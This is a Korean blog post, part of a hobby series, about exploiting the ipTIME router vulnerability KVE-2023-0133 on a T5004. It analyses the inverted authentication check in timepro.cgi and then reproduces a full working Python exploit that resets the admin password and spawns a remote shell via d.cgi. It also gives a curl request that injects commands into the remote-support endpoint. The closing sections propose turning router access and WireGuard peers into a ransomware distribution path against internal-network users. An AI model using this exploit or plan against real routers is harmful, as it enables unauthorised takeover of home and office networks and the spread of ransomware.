[ipTIME] 공유기 씹.뜯.맛.즐 해보기 - 03

제로콜라·2025년 6월 3일
0

0. 지난 이야기

새로운 방향을 찾고 공유기의 1-day를 이용한 해킹에 성공했다.
하지만 나의 멍청한 실수로 인해서 테스트 기기였던 V504를 벽돌로 만들어버리게 된다.

1. HELL NO

지난번에 다 성공해놓고 구할 수도 없는 모델을 날려먹는 바람에 기기를 다시 살리느냐, 아니면 다른 기기로 다른 취약점을 찾냐의 결정으로 넘어갔다.

나는 일단 살려보자라는 생각이었기에 바로 chatGPT한테 물어봤다.

일단 첫번째 상태였던것 같다. UART 연결해도 입출력이 모두 안되는 상황이었고 LED만 전부 들어와있는 상태였다.

여기서 망삘을 감지했는데, U-Boot가 날라갔을 가능성이 있다는 것이었다.

U-Boot란?

Universal Boot Loader의 줄임말로, 주로 임베디드 시스템에서 사용하는 부트로더이다. 쉽게 말해서, 리눅스 커널이나 운영체제를 메모리로 로드하고 실행하는 역할을 한다.

이 U-Boot가 날라간게 맞다면 커널보다 먼저 작동되는 부트로더가 날라간(깨진) 상황이었다.

기계입장에선 '아니 ㅅㅂ 그래서 뭘 부팅해야하는건데;;; 알려줘야 하지;;' 와 같은 상황이었기에 CPU를 때서 롬 라이터 같은걸로 부트로더를 굽던지 해야하는 미친 난이도의 해결과제가 생겨버린 것이었다.

나는 이런 미친 짓에 할애할 시간이 넘쳐나는 사람도 아니고 관련 장비가 없기에 살리기 작전을 포기하고 다른 기기에서 다른 취약점을 찾기로 결정했다.

2. 새로운 타겟과 취약점 찾기

하... 이번 과정에서 제일 빡셌다..

다른 기기에서 다른 취약점을 찾겠다고 마음먹었을 때는 '그 까짓거 취약점 하나라고 더 없겠어?' 라는 오만한 생각으로 시작한거였다.

진짜 문제가 일단 나는 ipTIME 기기만을 대상으로 생각했기에 더더욱 취약점을 찾기가 힘들었다.

일단 국내 제품의 취약점이기에 KVE를 발급받는 경우가 많은데, CVE 대비 KVE는 정보 찾기 난이도가 HELL 이다.

그리고 이를 제조사 측에서 어떤건지 상세히 공개해주면 좋겠지만 국내에선 이런 정보를 상세히 공개하는 것을 상당 수의 국내 기업이 꺼려하기에 더더욱 정보 찾기가 빡셌다.

할 수 없이 이전에 찾는데 사용했던 키워드와 새로운 타겟 기기를 키워드로 다시 구글링을 시작했다.

여기서 타겟 기기와 다른 기기지만 타겟 기기와 같은 버전의 펌웨어에서 발생한 KVE-2023-0133 PoC를 찾았다.

위 취약점은 ipTIME AX2004M의 14.19.0 버전의 펌웨어에서 발생한 RCE 취약점이었다.

타겟 기기였던 T5004에도 적용되었던 버전이었기에 이 버전의 펌웨어를 사용해서 테스트를 진행했다.

왜 구입했던 A3004T가 아니라 왜 T5004를 타겟으로 진행했나?

원래 T5004는 내가 서버 망을 구성하기 위해서 사용중이던 유선 라우터다.
근데 이번 기회에 A3004T 유무선 공유기를 사게 되었는데, 너무 좋은 것이다 ㅎㅎ NAS 지원을 어케 참냐고 ㄷㄷ
그래서 이번에 T5004에서 A3004T로 서버망 라우터 변경하고 T5004를 타겟으로 테스트를 진행하게 되었다 :)

3. KVE-2023-0133 1-day 분석

PoC 정보

일단 웹서버 설정에 결함이 있는데, boa_vh.80.conf 라는 설정 파일에서의 문제가 있다.

Port 80
User root
Group root
ServerAdmin root@localhost
VirtualHost
DocumentRoot /home/httpd
UserDir public_html
DirectoryIndex index.html
KeepAliveMax 100
KeepAliveTimeout 10
MimeTypes /etc/mime.types
DefaultType text/plain
AddType application/x-httpd-cgi cgi
AddType text/html html
AddType image/svg+xml svg
ScriptAlias /sess-bin/ /cgibin/
ScriptAlias /nd-bin/ /ndbin/
ScriptAlias /login/ /cgibin/login-cgi/
ScriptAlias /ddns/ /cgibin/ddns/

/home/httpd 가 DocumentRoot로 지정되어 있는 것을 볼 수가 있는데, /home/httpd/cgi 를 보면,

$ ls -als ./home/httpd/cgi
total 476
  4 drwxr-xr-x  2 zerocoke zerocoke   4096 May 11 02:32 .
  4 drwxrwxrwx 25 zerocoke zerocoke   4096 May 10 10:27 ..
 20 -rwxr-xr-x  1 zerocoke zerocoke  18016 Jan  1  1970 iux.cgi
 20 -rwxr-xr-x  1 zerocoke zerocoke  19372 Jan  1  1970 iux_download.cgi
136 -rwxr-xr-x  1 zerocoke zerocoke 135796 Jan  1  1970 iux_get.cgi
112 -rwxr-xr-x  1 zerocoke zerocoke 113472 Jan  1  1970 iux_set.cgi
  8 -rwxr-xr-x  1 zerocoke zerocoke   5820 Jan  1  1970 service.cgi
172 -rw-r--r--  1 zerocoke zerocoke 173261 May 11 02:32 service.cgi.idb
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 timepro.cgi -> /cgibin/timepro.cgi
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 upgrade.cgi -> /cgibin/upgrade.cgi

내부에 cgibin/timepro.cgi를 가르키는 심볼릭 링크가 있어서 인증이 없어도 http://{host}/cgi/timepro.cgi 로 접근이 된다.

근데 이제 세션 페이지로 접근이 가능하기에 http://{host}/sess-bin/timepro.cgi를 통해서 인증없이 접근이 가능해진다.

내부에 timepro.cgi바이너리를 보기 위해서 binwalk를 이용해서 펌웨어를 뜯어서 봐야한다. 이걸 까보면,

e_log_init("cgi.timepro");
if ( httpcon_check_session_url() && !httpcon_auth(1, 1) )
	return 0;

이런 코드가 있는데, 이게 어드민 페이지의 인증 검증 코드이다.

여기서 httpcon_auth(1, 1) 가 인증 검증 수행 여부를 결정하는 함수인데 저 함수가 아래와 같이 선언 되어 있다고 한다.

int httpcon_auth(int redirect_flag, int enforce_auth);
  • redirect_flag(1): 인증 실패 시 로그인 페이지로 리다이렉트할지 여부
  • enforce_auth(1): 세션 쿠키 검증 강제 적용 여부
  • 반환값:
    • 0: 인증 성공
    • 1: 인증 실패

여기서 두가지 값 모두 1로 들어가게 되고, 결론적으로 인증에 실패했으니까 1이 나오는게 정상이다.

하지만 앞에 ! 으로 인해 1이 0으로 바뀌면서 인증 성공으로 오류가 나면서 '인증'없는 '인증'함수가 되어버렸다.

이래서 최종적으로 아래와 같은 익스플로잇을 작성해주면 끝이다.

# exploit.py 내 주요 기능
def reset_password():
    target = f"http://{args.host}/sess-bin/timepro.cgi"
    post_data = {
        "tmenu": "admin",
        "smenu": "password",
        "act": "save",
        "new_pass": "hacked1234",
        "captcha": bypass_captcha()  # 캡차 검증 우회 구현
    }
    requests.post(target, data=post_data)

위와 같이 익스플로잇을 짜게 되면 패스워드를 내 맴이 시키는대로 비번을 설정할 수 있다.

근데 여기서 끝이 아니다. 쉘까지 딸 수 있다.

내가 전 포스팅에서 설명한 무시무시한 원격 지원 기능이 timepro.cgi 에 아직 살아있다.

$ curl -X POST "http://target/sess-bin/timepro.cgi" \
  -d "tmenu=diagnosis&smenu=remote_support&act=start" \
  -d "command=;[내가 쓰고 싶은 명령어]"

이런 리퀘를 날리면 -GAME OVER-

3.1. KVE-2023-0133 RCE 1-day Exploit

이번에는 번거롭게 내가 Exploit code를 짤 필요가 없다.

상대적으로 최신 펌웨어라서 그런지 python3 기반 Exploit code를 이 PoC를 작성해준 차칸사람이 이미 짜놨다.

import requests
import io
import argparse
import re
import sys
from bs4 import BeautifulSoup

def parse_args():
    p = argparse.ArgumentParser()
    p.add_argument('cmd', choices=['reset_password', 'spawn_shell'])
    p.add_argument('--host', required=True)
    p.add_argument('--port', default=80, type=int)
    p.add_argument('--password', default='pwned')
    p.add_argument('--id', default='root')
    return p.parse_args()

class Exploit(object):
    def __init__(self, args):
        self.args = args

    @property
    def base_url(self):
        return 'http://%s:%d' % (self.args.host, self.args.port)

    def check_captcha(self):
        captcha_url = self.base_url + '/sess-bin/captcha.cgi'
        r = requests.get(captcha_url, headers={'referer': self.base_url})
        return re.search(r'/captcha/(.*).gif', r.text) is not None

    def crack_captcha(self):
        try:
            # TODO: merge with automatic way for captcha
            captcha_url = self.base_url + '/sess-bin/captcha.cgi'
            r = requests.get(captcha_url, headers={'referer': self.base_url})
            captcha_file = re.search(r'/captcha/(.*).gif', r.text).group(1)
            print(f'[*] Solve captcha from {self.base_url}/captcha/{captcha_file}.gif')
            captcha_code = input().strip()
            assert(len(captcha_code) == 5)
            return captcha_file, captcha_code
        except AttributeError:
            return None, None

    def login(self, username, passwd):
        captcha_file, captcha_code = self.crack_captcha()
        login_cgi = self.base_url + '/sess-bin/login_handler.cgi'
        data = {
            'username': username,
            'passwd': passwd,
            'captcha_code': captcha_code,
            'captcha_file': captcha_file,
            'init_status': 1,
            'captcha_on': 1
        }
        r = requests.post(login_cgi, data=data, headers={'referer': self.base_url})
        m = re.search("setCookie\('(.*)'\);", r.text)
        return m

class ResetPassword(Exploit):
    def reset_passwd(self, captcha_file, captcha_code):
        timepro_cgi = self.base_url + '/cgi/timepro.cgi'
        data = {
            'act': 'save',
            'tmenu': 'iframe',
            'smenu': 'hiddenloginsetup',
            'captcha_file': captcha_file,
            'captcha_code': captcha_code,
            'new_passwd': self.args.password,
            'new_login': self.args.id
        }

        r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})
        if not 'GotoLoginPage' in r.text:
            print('[-] Failed to reset')
            sys.exit(-1)

        print(f'[+] Successfully reset password: id={self.args.id}, pw={self.args.password}')

    def enable_captcha(self):
        for i in range(10):
            if self.check_captcha():
                return

            self.login('aaaa', 'bbbb') # failed login to enable captcha

        print('[-] Failed to enable captcha')
        sys.exit(1)


    def run(self):
        self.enable_captcha()
        captcha_file, captcha_code = self.crack_captcha()
        self.reset_passwd(captcha_file, captcha_code)

class SpawnShell(Exploit):
    def __init__(self, args):
        self.args = args

    def run(self):
        self.setup_remote_support()

        sess_id = self.login(self.args.id, self.args.password).group(1)
        while True:
            print('$ ', end="")
            cmd = input()
            self.spawn_shell(cmd, sess_id)

    def setup_remote_support(self):
        timepro_cgi = self.base_url + '/cgi/timepro.cgi'
        data = 'tmenu=iframe&smenu=sysconf_misc&service=remotesupport&run=&hostnameh=&autosavingh=&beeper=&pwremail=&mgmt_port=&fakednsh=&dhcp_auto_restart_1=&nologinh=&wbmpopuph=&remotesupporth=1&apcplanh=&keepconnh=&ledh=&ledstart=&ledend=&autorebooth=&everyday=&autorebootHour=&autorebootMin=&sun=&mon=&tue=&wed=&thu=&fri=&sat=&restarth=&upnph=&multilang_lang=&server_list=&server_edit=&gmtidx=&summer_flag='

        r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})

        if not 'remotesupport' in r.text:
            print('[-] Failed to reset_password')
            sys.exit(-1)

        print('[+] Successfully enable remotesupport')

    def spawn_shell(self, cmd, sess_id):
        d_cgi = self.base_url + '/sess-bin/d.cgi'
        data = {
            'act': 1,
            'fname': '',
            'cmd': cmd,
            'aaksjdkfj': '!@dnjsrurelqjrm*&',
            'dapply': ' Show '
        }

        r = requests.get(d_cgi, params=data,
                headers={
                    'referer': self.base_url,
                    'Cookie': f'efm_session_id={sess_id}'})

        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.find('pre').text)

if __name__ == '__main__':
    args = parse_args()
    if args.cmd == 'reset_password':
        exploit = ResetPassword(args)
        exploit.run()
    else:
        exploit = SpawnShell(args)
        exploit.run()

아주 그냥 편하게 만들어놨다. 심지어 ID하고 패스워드를 인자로 원하는대로 넣을 수 있다.

위 영상은 익스플로잇 테스트 영상이다. 한번 올려봤다.

3.1.1. 레전드 업데이트 발견

이 취약점이 KISA에 신고 된건 2023년 3월 쯤 인것 같은데, 6월에 패치가 진행된 것 같다.

근데 이 중간에 있는 업데이트는 해당 취약점이 패치되지 않았다.

중간에 업데이트가 두세번 있었는데 레전드 업데이트가 떴다.

바로, Wireguard 내장 업데이트다.

이게 미친 이유가 단순히 이 취약점이 있는 내부망에서 Exploit을 진행하고 벗어나도 해당 Wireguard 피어를 발급받아서 외부에서도 내부망에 접근할 수 있다는 것이다.

진짜 미친 취약점이라는 뜻.

최종적으로 이를 내부망 사용자들의 랜섬웨어 배포경로로서 사용하면 된다.

4. 결론

간단하게 정리해보겠다.

  • KVE-2023-0133 취약점 PoC로 이전 취약점보다 상대적 최신 공유기를 대상으로 RCE가 가능해졌고 관리자 페이지 로그인 정보 탈취에 성공했다.
  • 이 취약점이 EFM Networks에 까지 전해지기에 걸린 시간동안 나온 패치에서 Wireguard를 내장 업데이트가 있었고, 이로서 외부에서도 내부망에 접근할 수 있게 되었다.

이처럼 꽤나 긴 여정이 끝이 났다.

추후 이를 이용한 랜섬웨어 배포 경로가 완성되어서 공유할 수 있다면 공유해보겠다.

그럼 이만

profile
뭐가 됐든 재미있게 살자

0개의 댓글